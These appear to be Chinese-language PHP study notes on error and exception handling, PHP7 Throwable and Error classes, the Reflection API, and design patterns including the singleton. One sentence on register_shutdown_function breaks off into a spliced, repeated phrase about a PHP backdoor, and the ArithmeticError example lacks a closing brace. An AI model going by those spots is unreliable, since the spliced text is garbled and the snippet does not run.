// 模拟语法错误
var_dump(23+-+);
// 模拟Notice错误
//echo $f;
// 模拟Warning错误
//echo '123';
//ob_flush();
//flush();
//header("Content-type:text/html;charset=gb2312");
b.php内容:
error_reporting(0);
register_shutdown_function('zyfshutdownfunc');
function zyfshutdownfunc(){
if ($error = error_get_last()) {
var_dump('< b>register_shutdown_function: Type:' . $error['type'] . ' Msg: ' . $error['message'] . ' in ' . $error['file'] . ' on line ' . $error['line'] . '< /b>');
}
}
set_error_handler('zyferror');
function zyferror($type, $message, $file, $line){
var_dump('< b>set_error_handler: ' . $type . ':' . $message . ' in ' . $file . ' on ' . $line . ' line .< /b>< br />');
}
require 'a.php';
test.php如果是单文件执行是不能捕获到错误的,如果在框架中执行就是可以的
【 自定义异常处理和异常嵌套 】
1: 自定义异常处理
在复杂的系统中往往需要自己捕获需要特殊处理的异常,这些异常可能是特殊情况下抛出的。所以定义一个异常捕获类,该类必须是exception类的一个扩展,该类继承了PHP的exception类的所有属性,并且可以添加自定义的函数,使用的时候其实和之前的一样,大致写法如下:
class zyfException extends Exception{
public function errorzyfMessage(){
return 'Error line ' . $this->getLine().' in ' . $this->getFile() .': < b>' . $this->getMessage() . '< /b> Must in (0 - 60)';
}
}
$age = 10;
try {
$age = intval($age);
if($age > 60) {
throw new zyfException($age);
}
} catch (zyfException $e) {
echo $e->errorzyfMessage();
}
2: 异常嵌套
异常嵌套是比较常见的写法,在自定义的异常处理中,try块中可以定义多个异常捕获,然后分层传递异常,理解和冒泡差不多,看下面的实现:
$age = 10;
try {
$age = intval($age);
if($age > 60) {
throw new zyfException($age);
}
if ($age <= 0) {
throw new Exception($age . ' must > 0');
}
} catch (zyfException $e) {
echo $e->errorzyfMessage();
} catch(Exception $e) {
echo $e->getMessage();
}
当然也可以在catch中再抛出异常给上层:
$age = 100;
try {
try {
$age = intval($age);
if($age > 60) {
throw new Exception($age);
}
} catch (Exception $e) {
throw new zyfException($age);
}
} catch (zyfException $e) {
echo $e->errorzyfMessage();
}
【 PHP7中的异常处理 】
现在写PHP必须考虑版本情况,上面的写法在PHP7中大部分都能实现,但也会有不同点,在PHP7更新中有一条: 更多的Error变为可捕获的Exception,现在的PHP7实现了一个全局的throwable接口,原来老的Exception和其中一部分Error实现了这个接口(interface),PHP7中更多的Error变为可捕获的Exception返回给捕捉器,这样其实和前面提到的扩展try-catch影响范围一样,但是如果不捕获则还是按照Error对待,看下面两个:
try {
test();
} catch(Throwable $e) {
echo $e->getMessage() . ' zyf';
}
try {
test();
} catch(Error $e) {
echo $e->getMessage() . ' zyf';
}
PHP7实现了throwable接口,那么就可以使用第一个这种方式来捕获异常。又因为部分Error实现了接口,并且更多的Error变为可捕获的Exception,那么就可以使用第二种方式来捕获异常
【 Throwable接口 】
PHP中将代码自身异常(一般是环境或语法错误所致)称作错误Error,将运行出现的逻辑错误称为异常Exception
错误是没法通过代码处理的,而异常则可以通过try/catch来处理
PHP7实现了Throwable接口,该接口由Error和Exception实现,用户不能直接实现Throwable接口,而只能通过继承Exception来实现接口
过去的PHP处理致命错误几乎是不可能的。致命错误不会调用由set_error_handler()设置的处理方式,而是简单的停止脚本的执行。
在PHP7中当致命错误和可捕获的错误(E_ERROR和E_RECOVERABLE_ERROR)发生时会抛出异常,而不是直接停止脚本的运行。对于某些情况,比如内存溢出,致命错误则仍然像之前一样直接停止脚本执行。在PHP7中一个未捕获的异常也会是一个致命错误。这意味着在PHP5.x中致命错误抛出的异常未捕获,在PHP7中也是致命错误。
注意: 其他级别的错误如warning和notice,和之前一样不会抛出异常,只有fatal和recoverable级别的错误会抛出异常。
从fatal和recoverable级别错误抛出的异常并非继承自Exception类。这种分离是为了防止现有PHP5.x的用于停止脚本运行的代码也捕获到错误抛出的异常。fatal和recoverable级别的错误抛出的异常是一个全新分离出来的类Error类的实例。跟其他异常一样,Error类异常也能被捕获和处理,同样允许在finally之类的块结构中运行。
Throwable
为了统一两个异常分支,Exception和Error都实现了一个全新的接口: Throwable
PHP7中新的异常结构如下:
interface Throwable
|- Exception implements Throwable
|- ...
|- Error implements Throwable
|- TypeError extends Error 类型错误
|- ParseError extends Error 解析错误
|- ArithmeticError extends Error 算数错误
|- DivisionByZeroError extends ArithmeticError 除数为0的错误
|- AssertionError extends Error 声明错误
如果在PHP7的代码中定义了Throwable类,它将会是如下这样:
Throwable {
abstract public string getMessage ( void ) // 获取抛出的消息内容
abstract public int getCode ( void ) // 获取抛出的错误代码
abstract public string getFile ( void ) // 获取产生异常的文件名
abstract public int getLine ( void ) // 获取相关行号
abstract public array getTrace ( void ) // 获取追踪信息,返回数组形式
abstract public string getTraceAsString ( void ) // 获取追踪信息,返回字符串形式
abstract public Throwable getPrevious ( void ) // 返回上一个 Throwable
abstract public string __toString ( void ) // 抛出的对象以字符串形式返回,比如可以用 echo 打印相应结果
}
Throwable规定的方法跟Exception几乎一样,唯一不同的是Throwable::getPrevious()返回Throwable的实例而不是Exception的。Exception和Error的构造函数跟之前Exception一样,可以接受任何Throwable的实例
Throwable可以用于try/catch块中捕获Exception和Error对象或是任何未来可能的异常类型,记住捕获更多特定类型的异常并且对之做相应的处理是更好的实践。然而在某种情况下我们想捕获任何类型的异常(比如日志或框架中错误处理),在PHP7中要捕获所有的应该使用Throwable而不是Exception
用户定义的类不能实现Throwable接口。做出这个决定一定程度上是为了预测性和一致性——只有Exception和Error的对象可以被抛出。此外异常需要携带对象在追溯堆栈中创建位置的信息,而用户定义的对象不会自动的有参数来存储这些信息。
Throwable可以被继承从而创建特定的包接口或添加额外的方法。一个继承自Throwable的接口只能被Exception或Error的子类来实现。
interface MyPackageThrowable extends Throwable {}
class MyPackageException extends Exception implements MyPackageThrowable {}
throw new MyPackageException();
Error
事实上PHP5.x中所有的错误都是fatal或recoverable级别的错误,在PHP7中都能抛出一个Error实例。跟其他任何异常一样,Error对象可以使用try/catch块来捕获。
$var = 1;
try {
$var->method(); // Throws an Error object in PHP 7.
} catch (Error $e) {
// Handle error
}
通常情况下,之前的致命错误都会抛出一个基本的 Error 类实例,但某些错误会抛出一个更具体的 Error 子类: TypeError、ParseError 以及 AssertionError。
TypeError
当函数参数或返回值不符合声明的类型时,TypeError 的实例会被抛出。
function add(int $left, int $right){
return $left + $right;
}
try {
$value = add('left', 'right');
} catch (TypeError $e) {
echo $e->getMessage(), "\n"; //Argument 1 passed to add() must be of the type integer, string given
}
ParseError
当 include/require 文件或 eval() 代码存在语法错误时,ParseError 会被抛出。
try {
require 'file-with-parse-error.php';
} catch (ParseError $e) {
echo $e->getMessage(), "\n";
}
ArithmeticError
ArithmeticError在两种情况下会被抛出。一是位移操作负数位。二是调用intdiv()时分子是PHP_INT_MIN且分母是-1 (这个使用除法运算符的表达式: PHP_INT_MIN/-1,结果是浮点型)。
try {
$value = 1 << -1;
catch (ArithmeticError $e) {
echo $e->getMessage();//Bit shift by negative number
}
DevisionByZeroError
当 intdiv() 的分母是 0 或者取模操作 (%) 中分母是 0 时,DivisionByZeroError 会被抛出。注意在除法运算符 (/) 中使用 0 作除数(也即xxx/0这样写)时只会触发一个 warning,这时候若分子非零结果是 INF,若分子是 0 结果是 NaN。
try {
$value = 1 % 0;
} catch (DivisionByZeroError $e) {
echo $e->getMessage();//Modulo by zero
}
AssertionError
当assert()的条件不满足时,AssertionError会被抛出。
ini_set('zend.assertions', 1);
ini_set('assert.exception', 1);
$test = 1;
assert($test === 0);
//Fatal error: Uncaught AssertionError: assert($test === 0)
只有断言启用并且是设置 ini 配置的 zend.assertions = 1 和 assert.exception = 1 时,assert()才会执行并抛 AssertionError。
在代码中使用Error
用户可以通过继承Error来创建符合自己层级要求的Error类。这就形成了一个问题: 什么情况下应该抛出Exception,什么情况下应该抛出Error。
Error应该用来表示需要程序员关注的代码问题。从PHP引擎抛出的Error对象属于这些分类,通常都是代码级别的错误,比如传递了错误类型的参数给一个函数或解析一个文件发生错误。Exception则应该用于在运行时能安全的处理,并且另一个动作能继续执行的情况。
由于Error对象不应该在运行时被处理,因此捕获Error对象也应该是不频繁的。一般来说,Error对象仅被捕获用于日志记录、执行必要的清理以及展示错误信息给用户。
编写代码支持PHP5.x和PHP7的异常
为了在同样的代码中捕获任何PHP5.x和PHP7的异常,可以使用多个catch,先捕获Throwable,然后是Exception。当PHP5.x不再需要支持时,捕获Exception的catch块可以移除。
try {
// Code that may throw an Exception or Error.
} catch (Throwable $t) {
// Executed only in PHP 7, will not match in PHP 5.x
} catch (Exception $e) {
// Executed only in PHP 5.x, will not be reached in PHP 7
}
不幸的是,处理异常的函数中的类型声明不容易确定。当 Exception 用于函数参数类型声明时,如果函数调用时候能用 Error 的实例,这个类型声明就要去掉。当 PHP5.x 不需要被支持时,类型声明则可以还原为 Throwable。
错误处理函数
debug_backtrace 产生一条回溯跟踪(backtrace)
debug_print_backtrace 打印一条回溯
error_clear_last 清除最近一次错误
error_get_last 获取最后发生的错误
error_log 发送错误信息到某个地方
error_reporting 设置应该报告何种PHP错误
restore_error_handler 还原之前的错误处理函数
restore_exception_handler 恢复之前定义过的异常处理函数
set_error_handler 设置用户自定义的错误处理函数
set_exception_handler 设置用户自定义的异常处理函数
trigger_error 产生一个用户级别的error/warning/notice信息
user_error trigger_error的别名
【 error_reporting() 】
error_reporting ([ int $level ] ): int
设置PHP的报错级别并返回当前级别,能够在运行时设置error_reporting指令,PHP有诸多错误级别,使用该函数可以设置在脚本运行时的级别
未设置可选参数level时仅返回当前的错误报告级别
level表示新的error_reporting级别,可以是一个位掩码或已命名的常量
建议使用已命名的常量,以确保兼容将来的版本由于错误级别的添加、整数取值范围的增加,较久的基于整数的错误级别不会总是和预期的表现一致
error_reporting(0); // 关闭所有PHP错误报告,上线之后全部关闭
error_reporting(E_ERROR | E_WARNING | E_PARSE); // 报告runtime错误
error_reporting(E_ERROR | E_WARNING | E_PARSE | E_NOTICE); // E_NOTICE报告未初始化的变量或捕获变量名的错误拼写
error_reporting(E_ALL ^ E_NOTICE); // 除了E_NOTICE,报告其他所有错误
error_reporting(E_ALL & ~E_NOTICE); // 报告E_NOTICE之外的所有错误
error_reporting(E_ALL); // 报告所有PHP错误
error_reporting(-1); // 报告所有PHP错误
ini_set('error_reporting',E_ALL); // 同error_reporting(E_ALL);
ini_set("display_errors","On");和error_reporting(E_ALL);
后者的权限大于前者,后者是OFF的话,前者就算是E-ALL也没用
php开发网站时,为防止用户看到错误信息而出现的不友好界面,故一般性会在php.ini里设置:
display_errors = Off;
不过在开发的时候需要打开错误信息,这时候可以在php文件里设置:
ini_set("display_errors","On");
error_reporting(E_ALL);
不过有时候即使这样设置了,还是无法显示php里的语法错误,这是由于php文件的语法错误导致该文件根本没有被执行,所以不显示错误信息,解决方法:
假设这个php里有语法错误,可以新建一个test.php,然后在该php里如下编辑,这样在运行test.php的时候程序就会报其中的错误语法
ini_set("display_errors","On");
error_reporting(E_ALL);
include("目标文件");
【 trigger_error() 】 trigger_error(string $error_msg [,int $error_type = E_USER_NOTICE ]): bool 触发产生一个用户级别的error/warning/notice信息,如果指定了错误的error_type会返回FALSE,正确则返回TRUE 它能结合内置的错误处理器所关联,或可以使用用户定义的函数作为新的错误处理程序(set_error_handler()) 该函数在运行出现异常时需要产生一个特定的响应时非常有用 参数 error_msg: 该error的特定错误信息,长度超过1024b的字符都会被截断 error_type: 该error所特定的错误类型,仅E_USER系列常量对其有效,默认E_USER_NOTICE
【 error_get_last() 】 error_get_last ( void ) : array 获取最后发生的错误信息,返回了一个描述了最后错误的信息的关联数组 如果该错误由PHP内置函数导致的,"message"会以该函数名开头,如果还没有错误则返回NULL echo $a; var_export(error_get_last()); // ["type" => 8,"message" => "Undefined variable: a","file" => "C:\WWW\index.php","line" => 2] 【 error_clear_last() 】 error_clear_last ( void ): void 清除最近一次错误,使它无法通过error_get_last()获取 【 error_log() 】 error_log(string $message [,int $message_type = 0 [,string $destination [,string $extra_headers]]]): bool 错误记录,把错误信息发送到web服务器的错误日志或一个文件里,成功时返回TRUE,否则返回FALSE 默认根据php.ini中error_log配置PHP向服务器的记录系统或文件发送错误记录。通过使用error_log()函数可以向指定的文件或远程目的地发送错误记录 message不能包含null字符,message可能会发送到文件、邮件、syslog等,所以在调用error_log()前需要使用适合的转换/转义函数base64_encode()、rawurlencode()或addslashes() message_type参数表示error_log()日志类型,设置错误应该发送到何处,可能的信息类型有以下几个: 0 message 发送到PHP的系统日志,使用操作系统的日志机制或一个文件,取决于error_log指令设置了什么(默认) 1 message 发送到参数destination设置的邮件地址,第四个参数extra_headers表示额外的头只有在这个类型里才会被用到,该信息类型使用了mail()的同一个内置函数 2 不再是一个选项 3 message 被发送到位置为destination的文件里,字符message不会默认被当做新的一行 4 message 直接发送到SAPI的日志处理程序中
【 set_error_handler() 】
set_error_handler(callable $error_handler [,int $error_types = E_ALL | E_STRICT ]): mixed
程序出错时自动调用error_handler自定义的错误处理函数方法
error_types参数指定的错误类型都会绕过PHP标准错误处理程序,除非回调函数返回FALSE
error_reporting()设置将不会起作用而自定义的错误处理函数继续会被调用,不过仍可获取error_reporting的当前值并做适当处理
带@error-control operator前缀的语句发生错误时,这个值会是0
在需要时有责任使用die()如果错误处理程序返回了,脚本将会继续执行发生错误的后一行
如果错误发生在脚本执行之前(如文件上传时),将不会调用自定义的错误处理程序,因为那时它尚未在注册
回调格式:error_handler(int $errno ,string $errstr [,string $errfile [,int $errline ]]): bool
errno参数包含错误的级别
errstr参数包含了错误的信息
errfile参数可选,包含了发生错误的文件名
errline参数是一个可选的errline,包含了错误发生的行号
返回值
如果之前有定义过错误处理程序则返回该程序名称的string;如果是内置的错误处理程序则返回NULL,如果指定了一个无效的回调函数,同样会返回NULL 如果之前的错误处理程序是一个类的方法,此函数会返回一个带类和方法名的索引数组(indexed array)
调用方法:
set_error_handler('function_name'); // 直接传函数名 NonClassFunction
set_error_handler(['class_name','function_name']); // 传class_name && function_name,传入引用对象和对象方法名的数组
set_error_handler('var_dump',0);
【 set_exception_handler() 】 set_exception_handler ( callable $exception_handler ) : callable 设置默认的异常处理程序,用在没有用try/catch捕获的异常,即不管抛出的异常有没有捕获,如果没有捕获就会进入到该方法中,并且在回调函数调用后异常会中止 设置顶层异常处理器 如果在当前的"try"代码块中异常没有被捕获,则它将在更高层级上查找catch代码块,不存在catch代码块时触发顶层的异常处理程序 set_exception_handler()设置处理所有未捕获异常的用户定义函数 exception_handler参数表示当一个未捕获的异常发生时所调用函数的名称,该处理函数需要接受一个参数,该参数是一个抛出的异常对象 PHP7-异常处理程序签名: handler ( Exception $ex ) : void PHP7+大多数错误抛出Error异常也能被捕获,Error和Exception都实现了Throwable接口,处理程序的签名: handler ( Throwable $ex ) : void 也可以传递NULL值用于重置异常处理函数为默认值。 如果在用户回调里将ex参数的类型明确约束为Exception,PHP7中由于异常类型的变化,将会产生问题。把错误以异常的形式抛出(不能完全抛出)
【 register_shutdown_function() 】 register_shutdown_function ( callable $callback [, mixed $parameter [, mixed $... ]] ) : void PHP脚本执行结束前最后一个调用的函数,比如脚本错误、die()、exit、异常、正常结束都会调用 通过这个函数就可以在脚本结束前判断这次执行是否有错误产生,借助于函数error_get_last()拿到本次执行产生的所有错误 只在parse-time出错时是不会调用本函数的,只有在run-time出错的时候才会调用本函数,语法检查器前没有执行 在框架中一般会有统一的入口index.php,调用register_shutdown_function(),然后每个类库文件都会通过include ** 的方式加载到index.php中,相当与所有的程序都会在index.php中聚集,同样具有语法错误的文件也会被引入到入口文件中,这样的话调用框架执行index.php,index.php本身并没有语法错误也就不会产生parse-time错误,而是include文件出错了,是run-time的时候出错了,所以框架执行完之后就会触发通过非正统的调用机制来实现PHP的后门PHP的后门
【 捕获所有的错误 】 set_error_handler()能够捕获一部分错误,不能捕获系统级E_ERROR、E_PARSE等错误,但这部分可以由register_shutdown_function()捕获。所以两者结合能出现很好的功能
异常(Exception)处理用于在指定的错误发生时改变脚本的正常流程
异常是程序在运行中出现不符合预期的情况,允许发生,但他是一种不正常的情况,按照正常逻辑本不该出的错误,但仍然会出现的错误,属于逻辑和业务流程的错误,而不是编译或语法上的错误 异常就是在程序运行过程中出现的一些意料之外的事件,如果不对此事件进行处理,则程序在执行时遇到异常将崩溃 异常处理和编写程序的流程控制相似,所以也可以通过异常处理实现一种另类的条件选择结构 在PHP代码中所产生的异常可以被throw语句抛出并被catch语句捕获 需要进行异常处理的代码都必须放入try代码块内,以便捕获可能存在的异常 每一个try至少要有一个与之对应的catch,也不能出现单独的catch try和cache之间也不能有任何的代码出现 当异常被抛出时其后的代码不会继续执行,PHP会尝试查找匹配的catch代码块 如果异常没有被捕获又没用使用set_exception_handler()作相应的处理的话,将发生一个严重的致命错误,并且输出"Uncaught Exception"未捕获异常的错误消息 异常处理功能提供了程序运行时出现错误或异常情况的方法,流程: 1、Try 检测,监听异常,使用异常的函数应该位于try代码块内。如果没有触发异常则代码将照常继续执行,若异常被触发会抛出一个异常 2、Throw 规定如何触发异常,抛出异常对象,每一个throw必须对应至少一个catch,可以设置一个顶层的异常处理器来处理漏掉的错误 3、Catch 代码块会捕获异常,并创建一个包含异常信息的对象 4、finally try catch finally语法结构中return应写在finally,try中return后finally会继续执行,如果finally中也有return,则最终返回值为finally中return的值Error是所有PHP内部错误类的基类
PHP内置异常处理类Exception类,Exception类是所有异常的基类 throw new Exception([ string $message = "" [,int $code = 0 [,Throwable $previous = NULL ]]]); message参数:抛出的异常消息内容 code参数:异常代码 previous参数:异常链中的前一个异常 Exception属性方法 Exception::__construct 异常构造函数 Exception::getmessage 获取异常消息内容 Exception::getCode 获取异常代码 Exception::getFile Exception::getLine Exception::getTrace 获取异常追踪消息 Exception::__toString 将异常对象转换为字符串 Exception::__clone 异常克隆 内置Exception类子类 1.LogicException 逻辑异常 2.RuntimeException 运行时异常在PDO中进行异常处理不需要实例化异常类并抛出异常,因为已经把PDO修改为异常模式异常处理try对应多个catch捕获不同类型的异常异常处理嵌套
【 自定义异常 】 1.必须继承Exception类或其子类,即必须是Exception类的一个扩展 2.自定义异常要重新定义构造函数的话,同时调用parent::__construct()来检查所有变量是否已被赋值,同时传递错误信息和代码作为参数 3.当对象要输出字符串时可以重载__toString(),并自定义输出的样式
Reflection 反射类
PHP具有完整的反射API,添加对类、接口、函数、方法和扩展进行反向工程的能力。 反射是指在PHP运行状态中扩展分析PHP程序,导出或提取出关于类、方法、属性、参数等的详细信息,包括注释,并可以与之交互。这种动态获取的信息及动态调用对象的方法的功能称为反射API。反射是操纵面向对象范型中元模型的API,其功能十分强大,可帮助构建复杂可扩展的应用。 其用途如: 自动加载插件,自动生成文档,甚至可用来扩充PHP语言。 PHP反射api由若干类组成,可用来访问程序的元数据或同相关的注释交互。借助反射可获取诸如类实现了那些方法,不同于用new创建一个类的实例,不同于常规调用一个方法,传递参数,动态调用类的静态方法。 反射api是PHP内建的OOP技术扩展,包括一些类,异常和接口,综合使用他们可用来分析其它类,接口,方法,属性,方法和扩展,这些OOP扩展被称为反射 常用ReflectionClass类和ReflectionMethod类 Reflection类 ReflectionClass类 ReflectionClassConstant类 ReflectionZendExtensio类 ReflectionExtension类 ReflectionFunction类 ReflectionFunctionAbstract类 ReflectionMethod类 ReflectionObject类 ReflectionParameter类 ReflectionProperty类 ReflectionType类 ReflectionGenerator类 — 生成器反射类 Reflector接口 ReflectionException 通过ReflectionClass可以得到某个类的所有信息,一般在框架中用的很多: 1.常量 Contants 2.属性 Property Names 3.方法 Method Names静态 4.属性 Static Properties 5.命名空间 Namespace 6.是否为final或abstract 7.是否有某个方法 应用: 1.动态代理: 委托模式,有两个对象参与处理同一请求,接受请求的对象将请求委托给另一对象来处理 2.插件系统: 利用放射机制自动获取插件列表及其他相关信息
Reflection
Reflection {
/* 方法 */
public static export ( Reflector $reflector [, bool $return = false ] ) : string // Exports
public static getModifierNames ( int $modifiers ) : array // 获取修饰符的名称
}
ReflectionClass
ReflectionClass — ReflectionClass 类 ReflectionClass::__construct — 初始化 ReflectionClass 类 ReflectionClass::export — 导出一个类 ReflectionClass::getConstant — 获取定义过的一个常量 ReflectionClass::getConstants — 获取一组常量 ReflectionClass::getConstructor — 获取类的构造函数 ReflectionClass::getDefaultProperties — 获取默认属性 ReflectionClass::getDocComment — 获取文档注释 ReflectionClass::getEndLine — 获取最后一行的行数 ReflectionClass::getExtension — 根据已定义的类获取所在扩展的 ReflectionExtension 对象 ReflectionClass::getExtensionName — 获取定义的类所在的扩展的名称 ReflectionClass::getFileName — 获取定义类的文件名 ReflectionClass::getInterfaceNames — 获取接口(interface)名称 ReflectionClass::getInterfaces — 获取接口 ReflectionClass::getMethod — 获取一个类方法的 ReflectionMethod。 ReflectionClass::getMethods — 获取方法的数组 ReflectionClass::getModifiers — 获取类的修饰符 ReflectionClass::getName — 获取类名 ReflectionClass::getNamespaceName — 获取命名空间的名称 ReflectionClass::getParentClass — 获取父类 ReflectionClass::getProperties — 获取一组属性 ReflectionClass::getProperty — 获取类的一个属性的 ReflectionProperty ReflectionClass::getReflectionConstant — Gets a ReflectionClassConstant for a class's constant ReflectionClass::getReflectionConstants — Gets class constants ReflectionClass::getShortName — 获取短名 ReflectionClass::getStartLine — 获取起始行号 ReflectionClass::getStaticProperties — 获取静态(static)属性 ReflectionClass::getStaticPropertyValue — 获取静态(static)属性的值 ReflectionClass::getTraitAliases — 返回 trait 别名的一个数组 ReflectionClass::getTraitNames — 返回这个类所使用 traits 的名称的数组 ReflectionClass::getTraits — 返回这个类所使用的 traits 数组 ReflectionClass::hasConstant — 检查常量是否已经定义 ReflectionClass::hasMethod — 检查方法是否已定义 ReflectionClass::hasProperty — 检查属性是否已定义 ReflectionClass::implementsInterface — 判断这些类是否实现了某个接口 ReflectionClass::inNamespace — 检查是否位于命名空间中 ReflectionClass::isAbstract — 检查类是否是抽象类(abstract) ReflectionClass::isAnonymous — 检查类是否是匿名类 ReflectionClass::isCloneable — 返回了一个类是否可复制 ReflectionClass::isFinal — 检查类是否声明为 final ReflectionClass::isInstance — 检查类的实例 ReflectionClass::isInstantiable — 检查类是否可实例化 ReflectionClass::isInterface — 检查类是否是一个接口(interface) ReflectionClass::isInternal — 检查类是否由扩展或核心在内部定义 ReflectionClass::isIterable — Check whether this class is iterable ReflectionClass::isIterateable — 检查是否可迭代(iterateable) ReflectionClass::isSubclassOf — 检查是否为一个子类 ReflectionClass::isTrait — 返回了是否为一个 trait ReflectionClass::isUserDefined — 检查是否由用户定义的 ReflectionClass::newInstance — 从指定的参数创建一个新的类实例 ReflectionClass::newInstanceArgs — 从给出的参数创建一个新的类实例。 ReflectionClass::newInstanceWithoutConstructor — 创建一个新的类实例而不调用它的构造函数 ReflectionClass::setStaticPropertyValue — 设置静态属性的值 ReflectionClass::__toString — 返回 ReflectionClass 对象字符串的表示形式。
ReflectionMethod
ReflectionMethod — ReflectionMethod 类 ReflectionMethod::__construct — ReflectionMethod 的构造函数 ReflectionMethod::export — 输出一个回调方法 ReflectionMethod::getClosure — 返回一个动态建立的方法调用接口,译者注: 可以使用这个返回值直接调用非公开方法。 ReflectionMethod::getDeclaringClass — 获取反射函数调用参数的类表达 ReflectionMethod::getModifiers — 获取方法的修饰符 ReflectionMethod::getPrototype — 返回方法原型 (如果存在) ReflectionMethod::invoke — Invoke ReflectionMethod::invokeArgs — 带参数执行 ReflectionMethod::isAbstract — 判断方法是否是抽象方法 ReflectionMethod::isConstructor — 判断方法是否是构造方法 ReflectionMethod::isDestructor — 判断方法是否是析构方法 ReflectionMethod::isFinal — 判断方法是否定义 final ReflectionMethod::isPrivate — 判断方法是否是私有方法 ReflectionMethod::isProtected — 判断方法是否是保护方法 (protected) ReflectionMethod::isPublic — 判断方法是否是公开方法 ReflectionMethod::isStatic — 判断方法是否是静态方法 ReflectionMethod::setAccessible — 设置方法是否访问 ReflectionMethod::__toString — 返回反射方法对象的字符串表达
ReflectionFunction
ReflectionFunction — ReflectionFunction 类 ReflectionFunction::__construct — Constructs a ReflectionFunction object ReflectionFunction::export — Exports function ReflectionFunction::getClosure — Returns a dynamically created closure for the function ReflectionFunction::invoke — Invokes function ReflectionFunction::invokeArgs — Invokes function args ReflectionFunction::isDisabled — Checks if function is disabled ReflectionFunction::__toString — To string
设计模式
设计模式主要分为三大类,各自还有许多子类: 1、创建型模式 抽象工厂模式 为一个产品族提供了统一的创建接口。需要这个产品族的某一系列的时候,可以从抽象工厂中选出相应的系列创建一个具体的工厂类。 工厂方法模式 定义一个接口用于创建对象,但是让子类决定初始化哪个类。工厂方法把一个类的初始化下放到子类。 生成器模式 将一个复杂对象的构建与它的表示分离,使得同样的构建过程可以创建不同的表示。 惰性初始模式 推迟对象的创建、数据的计算等需要耗费较多资源的操作,只有在第一次访问的时候才执行。 对象池模式 通过回收利用对象避免获取和释放资源所需的昂贵成本。 原型模式 用原型实例指定创建对象的种类,并且通过拷贝这些原型创建新的对象。 单例模式 确保一个类只有一个实例,并提供对该实例的全局访问。 2、结构性模式 适配器模式 将某个类的接口转换成客户端期望的另一个接口表示。适配器模式可以消除由于接口不匹配所造成的类兼容性问题。 桥接模式 将一个抽象与实现解耦,以便两者可以独立的变化。 组合模式 把多个对象组成树状结构来表示局部与整体,这样用户可以一样的对待单个对象和对象的组合。 修饰模式 向某个对象动态地添加更多的功能。修饰模式是除类继承外另一种扩展功能的方法。 外观模式 为子系统中的一组接口提供一个一致的界面,外观模式定义了一个高层接口,这个接口使得这一子系统更加容易使用。 享元 通过共享以便有效的支持大量小颗粒对象。 代理 为其他对象提供一个代理以控制对这个对象的访问。 3、行为型模式 黑板 广义的观察者在系统范围内交流信息,允许多位读者和写者。 责任链 为解除请求的发送者和接收者之间耦合,而使多个对象都有机会处理这个请求。将这些对象连成一条链,并沿着这条链传递该请求,直到有一个对象处理它。 命令 将一个请求封装为一个对象,从而使你可用不同的请求对客户进行参数化;对请求排队或记录请求日志,以及支持可取消的操作。 解释器 给定一个语言,定义它的文法的一种表示,并定义一个解释器,该解释器使用该表示来解释语言中的句子。 迭代器 提供一种方法顺序访问一个聚合对象中各个元素,而又不需暴露该对象的内部表示。 中介者 包装了一系列对象相互作用的方式,使得这些对象不必相互明显作用,从而使它们可以松散偶合。当某些对象之间的作用发生改变时,不会立即影响其他的一些对象之间的作用,保证这些作用可以彼此独立的变化。 备忘录 备忘录对象是一个用来存储另外一个对象内部状态的快照的对象。备忘录模式的用意是在不破坏封装的条件下,将一个对象的状态捉住,并外部化,存储起来,从而可以在将来合适的时候把这个对象还原到存储起来的状态。 空对象 通过提供默认对象来避免空引用。 观察者模式 在对象间定义一个一对多的联系性,由此当一个对象改变了状态,所有其他相关的对象会被通知并且自动刷新。 规格 以布尔形式表示的可重绑定的商业逻辑。 状态 让一个对象在其内部状态改变的时候,其行为也随之改变。状态模式需要对每一个系统可能获取的状态创立一个状态类的子类。当系统的状态变化时,系统便改变所选的子类。 策略 定义一个算法的系列,将其各个分装,并且使他们有交互性。策略模式使得算法在用户使用的时候能独立的改变。 模板方法 模板方法模式准备一个抽象类,将部分逻辑以具体方法及具体构造子类的形式实现,然后声明一些抽象方法来迫使子类实现剩余的逻辑。不同的子类可以以不同的方式实现这些抽象方法,从而对剩余的逻辑有不同的实现。先构建一个顶级逻辑框架,而将逻辑的细节留给具体的子类去实现。 访问者 封装一些施加于某种数据结构元素之上的操作。一旦这些操作需要修改,接受这个操作的数据结构可以保持不变。访问者模 式适用于数据结构相对未定的系统,它把数据结构和作用于结构上的操作之间的耦合解脱开,使得操作集合可以相对自由的演化。
单例模式(单件模式)
单例模式: 是一种对象创建型模式,让一个类在内存中仅有一个实例,保证整个应用程序的生命周期中单例类的实例只存在一个,提高系统资源利用率
单例模式是常见的设计模式,计算机系统中线程池、缓存、日志对象、对话框、打印机、数据库操作、显卡驱动程序常被设计成单例,常用在数据库存取类,从而节省硬件资源的消耗
许多时候整个系统只需要拥有一个的全局对象,这样有利于协调系统整体的行为
单例模式的要点: 某个类只能有一个实例,必须自行创建本身的实例;它必须自行向整个系统提供这个实例
实现单例模式的思路是: 一个类能返回对象一个引用(永远是同一个)和一个获得该实例的方法(必须是静态方法,通常命名getInstance);调用这个方法时,如果类持有的引用不为空就返回这个引用,如果类保持的引用为空就创建该类的实例并将实例的引用赋予该类保持的引用;同时还将该类的构造函数定义为私有方法,这样其他处的代码就无法通过调用该类的构造函数来实例化该类的对象,只有通过该类提供的静态方法来得到该类的唯一实例
不用new类名的方式创建对象,
禁止类的构造方法被重写: final
禁止类的实例被外界克隆: 魔术方法 private
对象 instanceof self(或类名) 判断对象是否是类实例化的对象,返回布尔
$b=clone $a;
$a==$b // 为TRUE,有相同的属性和方法
$a===$b // 为false,不是同一个对象
function __clone(){} // 魔术方法,当前类的对象被克隆时会调用
PHP一个主要应用场合就是应用程序与数据库打交道的场景,在一个应用中会存在大量的数据库操作,针对数据库句柄连接数据库的行为,使用单例模式可以避免大量的new操作。因为每一次new操作都会消耗系统和内存的资源
Singleton class[单例模式]为系统中的多个类创建单例的构造方式,以建立一个通用的抽象父工厂方法
Factory(工厂模式)
